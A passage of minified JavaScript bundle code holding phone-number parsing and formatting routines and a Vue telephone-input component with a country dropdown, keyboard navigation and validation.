J(n),n.selectNumberingPlan(e.country,e.countryCallingCode),n.hasTypes())return void 0!==Ve(e,t,n.metadata);var r=t.v2?e.nationalNumber:e.phone;return Ie(r,n.nationalNumberPattern())}function He(e,t,n){var r=new J(n),a=r.getCountryCodesForCallingCode(e);return a?a.filter(function(e){return Ge(t,e,n)}):[]}function Ge(e,t,n){var r=new J(n);return r.selectNumberingPlan(t),r.numberingPlan.possibleLengths().indexOf(e.length)>=0}function Ye(e){return e.replace(new RegExp(\"[\".concat(j,\"]+\"),\"g\"),\" \").trim()}var ze=\u002F(\\$\\d)\u002F;function Ke(e,t,n){var r=n.useInternationalFormat,a=n.withNationalPrefix;n.carrierCode,n.metadata;var o=e.replace(new RegExp(t.pattern()),r?t.internationalFormat():a&&t.nationalPrefixFormattingRule()?t.format().replace(ze,t.nationalPrefixFormattingRule()):t.format());return r?Ye(o):o}var qe=\u002F^[\\d]+(?:[~\\u2053\\u223C\\uFF5E][\\d]+)?$\u002F;function Qe(e,t,n){var r=new J(n);return r.selectNumberingPlan(e,t),r.defaultIDDPrefix()?r.defaultIDDPrefix():qe.test(r.IDDPrefix())?r.IDDPrefix():void 0}function Ze(e){var t=e.number,n=e.ext;if(!t)return\"\";if(\"+\"!==t[0])throw new Error('\"formatRFC3966()\" expects \"number\" to be in E.164 format.');return\"tel:\".concat(t).concat(n?\";ext=\"+n:\"\")}function Je(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=et(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function et(e,t){if(e){if(\"string\"==typeof e)return tt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return tt(e,t)}}function tt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function nt(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nt(Object(n),!0).forEach(function(t){at(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nt(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function at(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ot={formatExtension:function(e,t,n){return\"\".concat(e).concat(n.ext()).concat(t)}};function it(e,t,n,r){if(n=n?rt(rt({},ot),n):ot,r=new J(r),e.country&&\"001\"!==e.country){if(!r.hasCountry(e.country))throw new Error(\"Unknown country: \".concat(e.country));r.country(e.country)}else{if(!e.countryCallingCode)return e.phone||\"\";r.selectNumberingPlan(e.countryCallingCode)}var a,o=r.countryCallingCode(),i=n.v2?e.nationalNumber:e.phone;switch(t){case\"NATIONAL\":return i?(a=lt(i,e.carrierCode,\"NATIONAL\",r,n),ut(a,e.ext,r,n.formatExtension)):\"\";case\"INTERNATIONAL\":return i?(a=lt(i,null,\"INTERNATIONAL\",r,n),a=\"+\".concat(o,\" \").concat(a),ut(a,e.ext,r,n.formatExtension)):\"+\".concat(o);case\"E.164\":return\"+\".concat(o).concat(i);case\"RFC3966\":return Ze({number:\"+\".concat(o).concat(i),ext:e.ext});case\"IDD\":if(!n.fromCountry)return;var l=dt(i,e.carrierCode,o,n.fromCountry,r);return ut(l,e.ext,r,n.formatExtension);default:throw new Error('Unknown \"format\" argument passed to \"formatNumber()\": \"'.concat(t,'\"'))}}function lt(e,t,n,r,a){var o=st(r.formats(),e);return o?Ke(e,o,{useInternationalFormat:\"INTERNATIONAL\"===n,withNationalPrefix:!(o.nationalPrefixIsOptionalWhenFormattingInNationalFormat()&&a&&!1===a.nationalPrefix),carrierCode:t,metadata:r}):e}function st(e,t){for(var n,r=Je(e);!(n=r()).done;){var a=n.value;if(a.leadingDigitsPatterns().length>0){var o=a.leadingDigitsPatterns()[a.leadingDigitsPatterns().length-1];if(0!==t.search(o))continue}if(Ie(t,a.pattern()))return a}}function ut(e,t,n,r){return t?r(e,t,n):e}function dt(e,t,n,r,a){var o=le(r,a.metadata);if(o===n){var i=lt(e,t,\"NATIONAL\",a);return\"1\"===n?n+\" \"+i:i}var l=Qe(r,void 0,a.metadata);if(l)return\"\".concat(l,\" \").concat(n,\" \").concat(lt(e,null,\"INTERNATIONAL\",a))}function ct(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function ft(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ct(Object(n),!0).forEach(function(t){pt(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ct(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function pt(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ht(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function vt(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function mt(e,t,n){return t&&vt(e.prototype,t),n&&vt(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}var gt=function(){function e(t,n,r){if(ht(this,e),!t)throw new TypeError(\"`country` or `countryCallingCode` not passed\");if(!n)throw new TypeError(\"`nationalNumber` not passed\");if(!r)throw new TypeError(\"`metadata` not passed\");var a=bt(t,r),o=a.country,i=a.countryCallingCode;this.country=o,this.countryCallingCode=i,this.nationalNumber=n,this.number=\"+\"+this.countryCallingCode+this.nationalNumber,this.getMetadata=function(){return r}}return mt(e,[{key:\"setExt\",value:function(e){this.ext=e}},{key:\"getPossibleCountries\",value:function(){return this.country?[this.country]:He(this.countryCallingCode,this.nationalNumber,this.getMetadata())}},{key:\"isPossible\",value:function(){return Be(this,{v2:!0},this.getMetadata())}},{key:\"isValid\",value:function(){return Xe(this,{v2:!0},this.getMetadata())}},{key:\"isNonGeographic\",value:function(){var e=new J(this.getMetadata());return e.isNonGeographicCallingCode(this.countryCallingCode)}},{key:\"isEqual\",value:function(e){return this.number===e.number&&this.ext===e.ext}},{key:\"getType\",value:function(){return Ve(this,{v2:!0},this.getMetadata())}},{key:\"format\",value:function(e,t){return it(this,e,t?ft(ft({},t),{},{v2:!0}):{v2:!0},this.getMetadata())}},{key:\"formatNational\",value:function(e){return this.format(\"NATIONAL\",e)}},{key:\"formatInternational\",value:function(e){return this.format(\"INTERNATIONAL\",e)}},{key:\"getURI\",value:function(e){return this.format(\"RFC3966\",e)}}]),e}(),yt=function(e){return\u002F^[A-Z]{2}$\u002F.test(e)};function bt(e,t){var n,r,a=new J(t);return yt(e)?(n=e,a.selectNumberingPlan(n),r=a.countryCallingCode()):r=e,{country:n,countryCallingCode:r}}var $t=new RegExp(\"([\"+D+\"])\");function wt(e,t,n,r){if(t){var a=new J(r);a.selectNumberingPlan(t,n);var o=new RegExp(a.IDDPrefix());if(0===e.search(o)){e=e.slice(e.match(o)[0].length);var i=e.match($t);if(!(i&&null!=i[1]&&i[1].length>0&&\"0\"===i[1]))return e}}}function _t(e,t){if(e&&t.numberingPlan.nationalPrefixForParsing()){var n=new RegExp(\"^(?:\"+t.numberingPlan.nationalPrefixForParsing()+\")\"),r=n.exec(e);if(r){var a,o,i,l=r.length-1,s=l>0&&r[l];if(t.nationalPrefixTransformRule()&&s)a=e.replace(n,t.nationalPrefixTransformRule()),l>1&&(o=r[1]);else{var u=r[0];a=e.slice(u.length),s&&(o=r[1])}if(s){var d=e.indexOf(r[1]),c=e.slice(0,d);c===t.numberingPlan.nationalPrefix()&&(i=t.numberingPlan.nationalPrefix())}else i=r[0];return{nationalNumber:a,nationalPrefix:i,carrierCode:o}}}return{nationalNumber:e}}function kt(e,t){var n=_t(e,t),r=n.carrierCode,a=n.nationalNumber;if(a!==e){if(!Ct(e,a,t))return{nationalNumber:e};if(t.possibleLengths()&&!xt(a,t))return{nationalNumber:e}}return{nationalNumber:a,carrierCode:r}}function Ct(e,t,n){return!(Ie(e,n.nationalNumberPattern())&&!Ie(t,n.nationalNumberPattern()))}function xt(e,t){switch(De(e,t)){case\"TOO_SHORT\":case\"INVALID_LENGTH\":return!1;default:return!0}}function St(e,t,n,r){var a=t?le(t,r):n;if(0===e.indexOf(a)){r=new J(r),r.selectNumberingPlan(t,n);var o=e.slice(a.length),i=kt(o,r),l=i.nationalNumber,s=kt(e,r),u=s.nationalNumber;if(!Ie(u,r.nationalNumberPattern())&&Ie(l,r.nationalNumberPattern())||\"TOO_LONG\"===De(u,r))return{countryCallingCode:a,number:o}}return{number:e}}function Et(e,t,n,r){if(!e)return{};var a;if(\"+\"!==e[0]){var o=wt(e,t,n,r);if(!o||o===e){if(t||n){var i=St(e,t,n,r),l=i.countryCallingCode,s=i.number;if(l)return{countryCallingCodeSource:\"FROM_NUMBER_WITHOUT_PLUS_SIGN\",countryCallingCode:l,number:s}}return{number:e}}a=!0,e=\"+\"+o}if(\"0\"===e[1])return{};r=new J(r);for(var u=2;u-1\u003C=A&&u\u003C=e.length;){var d=e.slice(1,u);if(r.hasCallingCode(d))return r.selectNumberingPlan(d),{countryCallingCodeSource:a?\"FROM_NUMBER_WITH_IDD\":\"FROM_NUMBER_WITH_PLUS_SIGN\",countryCallingCode:d,number:e.slice(u)};u++}return{}}function Tt(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Rt(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Rt(e,t){if(e){if(\"string\"==typeof e)return Ot(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Ot(e,t)}}function Ot(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Mt(e,t){var n=t.countries,r=t.defaultCountry,a=t.metadata;a=new J(a);for(var o,i=[],l=Tt(n);!(o=l()).done;){var s=o.value;if(a.country(s),a.leadingDigits()){if(e&&0===e.search(a.leadingDigits()))return s}else if(Ve({phone:e,country:s},void 0,a.metadata)){if(!r)return s;if(s===r)return s;i.push(s)}}if(i.length>0)return i[0]}var At=!1;function Dt(e,t){var n=t.nationalNumber,r=t.defaultCountry,a=t.metadata;if(At&&a.isNonGeographicCallingCode(e))return\"001\";var o=a.getCountryCodesForCallingCode(e);return o?1===o.length?o[0]:Mt(n,{countries:o,defaultCountry:r,metadata:a.metadata}):void 0}var Wt=\"+\",Bt=\"[\\\\-\\\\.\\\\(\\\\)]?\",Pt=\"([\"+D+\"]|\"+Bt+\")\",It=\"^\\\\\"+Wt+Pt+\"*[\"+D+\"]\"+Pt+\"*$\",Nt=new RegExp(It,\"g\"),Lt=D,jt=\"[\"+Lt+\"]+((\\\\-)*[\"+Lt+\"])*\",Ft=\"a-zA-Z\",Vt=\"[\"+Ft+\"]+((\\\\-)*[\"+Lt+\"])*\",Ut=\"^(\"+jt+\"\\\\.)*\"+Vt+\"\\\\.?$\",Xt=new RegExp(Ut,\"g\"),Ht=\"tel:\",Gt=\";phone-context=\",Yt=\";isub=\";function zt(e){var t=e.indexOf(Gt);if(t\u003C0)return null;var n=t+Gt.length;if(n>=e.length)return\"\";var r=e.indexOf(\";\",n);return r>=0?e.substring(n,r):e.substring(n)}function Kt(e){return null===e||0!==e.length&&(Nt.test(e)||Xt.test(e))}function qt(e,t){var n,r=t.extractFormattedPhoneNumber,a=zt(e);if(!Kt(a))throw new R(\"NOT_A_NUMBER\");if(null===a)n=r(e)||\"\";else{n=\"\",a.charAt(0)===Wt&&(n+=a);var o,i=e.indexOf(Ht);o=i>=0?i+Ht.length:0;var l=e.indexOf(Gt);n+=e.substring(o,l)}var s=n.indexOf(Yt);if(s>0&&(n=n.substring(0,s)),\"\"!==n)return n}var Qt=250,Zt=new RegExp(\"[\"+F+D+\"]\"),Jt=new RegExp(\"[^\"+D+\"#]+$\");function en(e,t,n){if(t=t||{},n=new J(n),t.defaultCountry&&!n.hasCountry(t.defaultCountry))throw t.v2?new R(\"INVALID_COUNTRY\"):new Error(\"Unknown country: \".concat(t.defaultCountry));var r=nn(e,t.v2,t.extract),a=r.number,o=r.ext,i=r.error;if(!a){if(t.v2)throw new R(\"TOO_SHORT\"===i?\"TOO_SHORT\":\"NOT_A_NUMBER\");return{}}var l=an(a,t.defaultCountry,t.defaultCallingCode,n),s=l.country,u=l.nationalNumber,d=l.countryCallingCode,c=l.countryCallingCodeSource,f=l.carrierCode;if(!n.hasSelectedNumberingPlan()){if(t.v2)throw new R(\"INVALID_COUNTRY\");return{}}if(!u||u.length\u003CO){if(t.v2)throw new R(\"TOO_SHORT\");return{}}if(u.length>M){if(t.v2)throw new R(\"TOO_LONG\");return{}}if(t.v2){var p=new gt(d,u,n.metadata);return s&&(p.country=s),f&&(p.carrierCode=f),o&&(p.ext=o),p.__countryCallingCodeSource=c,p}var h=!!(t.extended?n.hasSelectedNumberingPlan():s)&&Ie(u,n.nationalNumberPattern());return t.extended?{country:s,countryCallingCode:d,carrierCode:f,valid:h,possible:!!h||!(!0!==t.extended||!n.possibleLengths()||!Pe(u,n)),phone:u,ext:o}:h?rn(s,u,o):{}}function tn(e,t,n){if(e){if(e.length>Qt){if(n)throw new R(\"TOO_LONG\");return}if(!1===t)return e;var r=e.search(Zt);if(!(r\u003C0))return e.slice(r).replace(Jt,\"\")}}function nn(e,t,n){var r=qt(e,{extractFormattedPhoneNumber:function(e){return tn(e,n,t)}});if(!r)return{};if(!ye(r))return be(r)?{error:\"TOO_SHORT\"}:{};var a=we(r);return a.ext?a:{number:r}}function rn(e,t,n){var r={country:e,phone:t};return n&&(r.ext=n),r}function an(e,t,n,r){var a,o=Et(Ee(e),t,n,r.metadata),i=o.countryCallingCodeSource,l=o.countryCallingCode,s=o.number;if(l)r.selectNumberingPlan(l);else{if(!s||!t&&!n)return{};r.selectNumberingPlan(t,n),t&&(a=t),l=n||le(t,r.metadata)}if(!s)return{countryCallingCodeSource:i,countryCallingCode:l};var u=kt(Ee(s),r),d=u.nationalNumber,c=u.carrierCode,f=Dt(l,{nationalNumber:d,defaultCountry:t,metadata:r});return f&&(a=f,\"001\"===f||r.country(a)),{country:a,countryCallingCode:l,countryCallingCodeSource:i,nationalNumber:d,carrierCode:c}}function on(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function ln(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?on(Object(n),!0).forEach(function(t){sn(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):on(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function sn(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function un(e,t,n){return en(e,ln(ln({},t),{},{v2:!0}),n)}function dn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function cn(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?dn(Object(n),!0).forEach(function(t){fn(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):dn(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function fn(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function pn(e,t){return yn(e)||gn(e,t)||vn(e,t)||hn()}function hn(){throw new TypeError(\"Invalid attempt to destructure non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function vn(e,t){if(e){if(\"string\"==typeof e)return mn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return mn(e,t)}}function mn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function gn(e,t){var n=null==e?null:typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(null!=n){var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{!i&&null!=n.return&&n.return()}finally{if(l)throw a}}return o}}function yn(e){if(Array.isArray(e))return e}function bn(e){var t,n,r,a=Array.prototype.slice.call(e),o=pn(a,4),i=o[0],l=o[1],s=o[2],u=o[3];if(\"string\"!=typeof i)throw new TypeError(\"A text for parsing must be a string.\");if(t=i,l&&\"string\"!=typeof l){if(!X(l))throw new Error(\"Invalid second argument: \".concat(l));s?(n=l,r=s):r=l}else u?(n=s,r=u):(n=void 0,r=s),l&&(n=cn({defaultCountry:l},n));return{text:t,options:n,metadata:r}}function $n(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function wn(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$n(Object(n),!0).forEach(function(t){_n(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$n(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function _n(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function kn(e,t,n){t&&t.defaultCountry&&!se(t.defaultCountry,n)&&(t=wn(wn({},t),{},{defaultCountry:void 0}));try{return un(e,t,n)}catch(r){if(!(r instanceof R))throw r}}function Cn(){var e=bn(arguments),t=e.text,n=e.options,r=e.metadata;return kn(t,n,r)}function xn(){return h(Cn,arguments)}const Sn={beforeMount(e,t,n){if(\"function\"!=typeof t.value){const e=n.context.name;let r=`[Vue-click-outside:] provided expression ${t.expression} is not a function, but has to be`;e&&(r+=`Found in component ${e}`),console.warn(r)}e.clickOutsideEvent=function(n){const r=n.composedPath?n.composedPath():n.path;e===n.target||e.contains(n.target)||r.includes(e)||t.value(n,e)},document.body.addEventListener(\"click\",e.clickOutsideEvent)},unmounted(e){document.body.removeEventListener(\"click\",e.clickOutsideEvent)}},En=(e,t)=>{const n=e.__vccOpts||e;for(const[r,a]of t)n[r]=a;return n};function Tn(e){const t=f.options[e];return typeof t>\"u\"?f.options[e]:t}const Rn={name:\"VueTelInput\",directives:{clickOutside:Sn},props:{modelValue:{type:String,default:\"\"},allCountries:{type:Array,default:()=>Tn(\"allCountries\")},autoFormat:{type:Boolean,default:()=>Tn(\"autoFormat\")},customValidate:{type:[Boolean,RegExp],default:()=>Tn(\"customValidate\")},defaultCountry:{type:[String,Number],default:()=>Tn(\"defaultCountry\")},disabled:{type:Boolean,default:()=>Tn(\"disabled\")},autoDefaultCountry:{type:Boolean,default:()=>Tn(\"autoDefaultCountry\")},dropdownOptions:{type:Object,default:()=>Tn(\"dropdownOptions\")},ignoredCountries:{type:Array,default:()=>Tn(\"ignoredCountries\")},inputOptions:{type:Object,default:()=>Tn(\"inputOptions\")},invalidMsg:{type:String,default:()=>Tn(\"invalidMsg\")},mode:{type:String,default:()=>Tn(\"mode\")},onlyCountries:{type:Array,default:()=>Tn(\"onlyCountries\")},preferredCountries:{type:Array,default:()=>Tn(\"preferredCountries\")},validCharactersOnly:{type:Boolean,default:()=>Tn(\"validCharactersOnly\")},styleClasses:{type:[String,Array,Object],default:()=>Tn(\"styleClasses\")}},data(){return{phone:\"\",activeCountryCode:\"\",open:!1,finishMounted:!1,selectedIndex:null,typeToFindInput:\"\",typeToFindTimer:null,dropdownOpenDirection:\"below\",parsedPlaceholder:this.inputOptions.placeholder,searchQuery:\"\"}},computed:{activeCountry(){return this.findCountry(this.activeCountryCode)},parsedMode(){return\"auto\"===this.mode?this.phone&&\"+\"===this.phone[0]?\"international\":\"national\":[\"international\",\"national\"].includes(this.mode)?this.mode:(console.error('Invalid value of prop \"mode\"'),\"international\")},filteredCountries(){return this.onlyCountries.length?this.allCountries.filter(({iso2:e})=>this.onlyCountries.some(t=>t.toUpperCase()===e)):this.ignoredCountries.length?this.allCountries.filter(({iso2:e})=>!this.ignoredCountries.includes(e.toUpperCase())&&!this.ignoredCountries.includes(e.toLowerCase())):this.allCountries},sortedCountries(){const e=[...this.getCountries(this.preferredCountries).map(e=>({...e,preferred:!0})),...this.filteredCountries];if(!this.dropdownOptions.showSearchBox)return e;const t=this.searchQuery.replace(\u002F[~`!@#$%^&*()+={}\\[\\];:\\'\\\"\u003C>.,\\\u002F\\\\\\?-_]\u002Fg,\"\");return e.filter(e=>new RegExp(t,\"i\").test(e.name)||new RegExp(t,\"i\").test(e.iso2)||new RegExp(t,\"i\").test(e.dialCode))},phoneObject(){var e,t,n;let r;r=\"+\"===(null==(e=this.phone)?void 0:e[0])?xn(this.phone)||{}:xn(this.phone,this.activeCountryCode)||{};const{metadata:a,...o}=r;let i=null==(t=r.isValid)?void 0:t.call(r),l=this.phone;return i&&(l=null==(n=r.format)?void 0:n.call(r,this.parsedMode.toUpperCase())),r.country&&(this.ignoredCountries.length||this.onlyCountries.length)&&(this.findCountry(r.country)||(i=!1,Object.assign(r,{country:null}))),Object.assign(o,{countryCode:r.country,valid:i,country:this.activeCountry,formatted:l}),o}},watch:{activeCountry(e,t){e||null==t||!t.iso2?null!=e&&e.iso2&&this.$emit(\"country-changed\",e):this.activeCountryCode=t.iso2},\"phoneObject.countryCode\":function(e){this.activeCountryCode=e||\"\"},\"phoneObject.valid\":function(){this.$emit(\"validate\",this.phoneObject)},\"phoneObject.formatted\":function(e){!this.autoFormat||this.customValidate||(this.emitInput(e),this.$nextTick(()=>{e&&!this.modelValue&&(this.phone=e)}))},\"inputOptions.placeholder\":function(){this.resetPlaceholder()},modelValue(e,t){this.testCharacters()?this.phone=e:this.$nextTick(()=>{this.phone=t,this.onInput()})},open(e){e?(this.setDropdownPosition(),this.$emit(\"open\")):this.$emit(\"close\")}},mounted(){this.modelValue&&(this.phone=this.modelValue.trim()),this.cleanInvalidCharacters(),this.initializeCountry().then(()=>{var e;!this.phone&&null!=(e=this.inputOptions)&&e.showDialCode&&this.activeCountryCode&&(this.phone=`+${this.activeCountryCode}`),this.$emit(\"validate\",this.phoneObject)}).catch(console.error).then(()=>{this.finishMounted=!0})},methods:{resetPlaceholder(){this.parsedPlaceholder=this.inputOptions.placeholder},initializeCountry(){return new Promise(e=>{var t;if(\"+\"===(null==(t=this.phone)?void 0:t[0]))return void e();if(this.defaultCountry){if(\"string\"==typeof this.defaultCountry)return this.choose(this.defaultCountry),void e();if(\"number\"==typeof this.defaultCountry){const t=this.findCountryByDialCode(this.defaultCountry);if(t)return this.choose(t.iso2),void e()}}const n=this.preferredCountries[0]||this.filteredCountries[0];this.autoDefaultCountry?s().then(e=>{this.choose(e||this.activeCountryCode)}).catch(e=>{console.warn(e),this.choose(n)}).then(()=>{e()}):(this.choose(n),e())})},getCountries(e=[]){return e.map(e=>this.findCountry(e)).filter(Boolean)},findCountry(e=\"\"){return this.filteredCountries.find(t=>t.iso2===e.toUpperCase())},findCountryByDialCode(e){return this.filteredCountries.find(t=>Number(t.dialCode)===e)},getItemClass(e,t){const n=this.selectedIndex===e,r=e===this.preferredCountries.length-1,a=this.preferredCountries.some(e=>e.toUpperCase()===t);return{highlighted:n,\"last-preferred\":r,preferred:a}},choose(e){var t,n;let r=e;if(\"string\"==typeof r&&(r=this.findCountry(r)),r){if(\"+\"===(null==(t=this.phone)?void 0:t[0])&&r.iso2&&this.phoneObject.nationalNumber)return this.activeCountryCode=r.iso2,void(this.phone=xn(this.phoneObject.nationalNumber,r.iso2).formatInternational());if(null!=(n=this.inputOptions)&&n.showDialCode&&r)return this.phone=`+${r.dialCode}`,void(this.activeCountryCode=r.iso2||\"\");this.activeCountryCode=r.iso2||\"\",this.emitInput(this.phone)}},cleanInvalidCharacters(){const e=this.phone;if(this.validCharactersOnly){const e=this.phone.match(\u002F[()\\-+0-9\\s]*\u002Fg);this.phone=e.join(\"\")}if(this.customValidate&&this.customValidate instanceof RegExp){const e=this.phone.match(this.customValidate);this.phone=e.join(\"\")}e!==this.phone&&this.emitInput(this.phone)},testCharacters(){return!(this.validCharactersOnly&&!\u002F^[()\\-+0-9\\s]*$\u002F.test(this.phone))&&(!this.customValidate||this.testCustomValidate())},testCustomValidate(){return this.customValidate instanceof RegExp&&this.customValidate.test(this.phone)},onInput(){this.$refs.input.setCustomValidity(this.phoneObject.valid?\"\":this.invalidMsg),this.emitInput(this.phone)},emitInput(e){this.$emit(\"update:modelValue\",e),this.$emit(\"on-input\",e,this.phoneObject,this.$refs.input)},onBlur(){this.$emit(\"blur\")},onFocus(){u(this.$refs.input,this.phone.length),this.$emit(\"focus\")},onEnter(){this.$emit(\"enter\")},onSpace(){this.$emit(\"space\")},focus(){this.$refs.input.focus()},toggleDropdown(){this.disabled||this.dropdownOptions.disabled||(this.searchQuery=\"\",this.open=!this.open)},clickedOutside(){this.open=!1},keyboardNav(e){if(40===e.keyCode){e.preventDefault(),this.open=!0,null===this.selectedIndex?this.selectedIndex=0:this.selectedIndex=Math.min(this.sortedCountries.length-1,this.selectedIndex+1);const t=this.$refs.list.children[this.selectedIndex];t.focus(),t.offsetTop+t.clientHeight>this.$refs.list.scrollTop+this.$refs.list.clientHeight&&(this.$refs.list.scrollTop=t.offsetTop-this.$refs.list.clientHeight+t.clientHeight)}else if(38===e.keyCode){e.preventDefault(),this.open=!0,null===this.selectedIndex?this.selectedIndex=this.sortedCountries.length-1:this.selectedIndex=Math.max(0,this.selectedIndex-1);const t=this.$refs.list.children[this.selectedIndex];t.focus(),t.offsetTop\u003Cthis.$refs.list.scrollTop&&(this.$refs.list.scrollTop=t.offsetTop)}else if(13===e.keyCode)null!==this.selectedIndex&&this.choose(this.sortedCountries[this.selectedIndex]),this.open=!this.open;else{this.typeToFindInput+=e.key,clearTimeout(this.typeToFindTimer),this.typeToFindTimer=setTimeout(()=>{this.typeToFindInput=\"\"},700);const t=this.sortedCountries.slice(this.preferredCountries.length).findIndex(e=>e.name.toLowerCase().startsWith(this.typeToFindInput));if(t>=0){this.selectedIndex=this.preferredCountries.length+t;const e=this.$refs.list.children[this.selectedIndex],n=e.offsetTop\u003Cthis.$refs.list.scrollTop,r=e.offsetTop+e.clientHeight>this.$refs.list.scrollTop+this.$refs.list.clientHeight;(n||r)&&(this.$refs.list.scrollTop=e.offsetTop-this.$refs.list.clientHeight\u002F2)}}},reset(){this.selectedIndex=this.sortedCountries.map(e=>e.iso2).indexOf(this.activeCountryCode),this.open=!1},setDropdownPosition(){window.innerHeight-this.$el.getBoundingClientRect().bottom>200?this.dropdownOpenDirection=\"below\":this.dropdownOpenDirection=\"above\"}}},On=[\"aria-expanded\",\"tabindex\"],Mn={class:\"vti__selection\"},An={key:1,class:\"vti__country-code\"},Dn={class:\"vti__dropdown-arrow\"},Wn=[\"placeholder\"],Bn=[\"onClick\",\"onMousemove\",\"aria-selected\"],Pn={key:1},In=[\"type\",\"autocomplete\",\"autofocus\",\"disabled\",\"id\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"tabindex\",\"value\",\"aria-describedby\"];function Nn(e,t,n,i,l,s){const u=(0,a.gN)(\"click-outside\");return(0,a.uX)(),(0,a.CE)(\"div\",{class:(0,o.C4)([\"vue-tel-input\",n.styleClasses,{disabled:n.disabled}])},[(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"div\",{\"aria-label\":\"Country Code 